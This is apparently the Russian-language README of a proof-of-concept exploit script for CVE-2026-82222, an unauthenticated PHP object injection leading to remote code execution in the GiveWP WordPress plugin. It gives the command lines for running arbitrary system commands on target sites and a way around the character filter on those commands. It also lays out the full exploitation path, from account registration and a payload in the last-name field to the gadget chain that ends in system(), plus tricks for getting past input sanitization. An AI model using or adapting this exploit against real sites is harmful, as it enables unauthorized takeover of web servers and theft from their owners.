
Доказательство концепции эксплуатации для CVE-2026-82222 — неаутентифицированная инъекция PHP-объектов, приводящая к удалённому выполнению кода в плагине GiveWP для WordPress версий до 4.16.7.1.
| Диапазон | Доступно? |
|---|
<= 4.16.5.1 | Стандартная установка. Одна опубликованная форма, один активный шлюз. |
4.16.6 до 4.16.7.1 | Да, если существует устаревшая (не-V3) форма. Для чистой установки только с V3 — нет. |
Консультация: https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
Python 3.8+ и requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c по умолчанию равен id. В команде не должно быть < > & %; пробелы заменяются на ${IFS}.
Передайте идентификатор формы, если обнаружение пропустило её. Передайте -g, если скрипт не может найти включённый шлюз.
Запрос пожертвования часто возвращает HTTP 500 или истекает по таймауту. Это ожидаемо. Запись сессии происходит первой. Вывод system() находится в следующем запросе (/?give_action=view_receipt и подобных), а не в файле на диске.
python cve-2026-82222.py -h — для остального.
POST give_action=user_register. GiveWP создаёт учётную запись и устанавливает auth-cookie. Он не проверяет users_can_register.last_name через /wp-admin/profile.php.give_last. process-donation.php считывает имя из usermeta, выполняет maybeSafeUnserialize (allowed_classes => false) и записывает __PHP_Incomplete_Class в wp_give_sessions. PHP повторно выводит исходные байты объекта на входе.TCPDF::__destruct() достигает call_user_func_array('system', [cmd]). Stdout находится в этом ответе.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name удаляет NUL, поэтому свойства гаджета не искажаются. Обратные слэши учетверяются, чтобы пережить stripslashes_deep, а затем removeBackslashes.
MIT. См. LICENSE.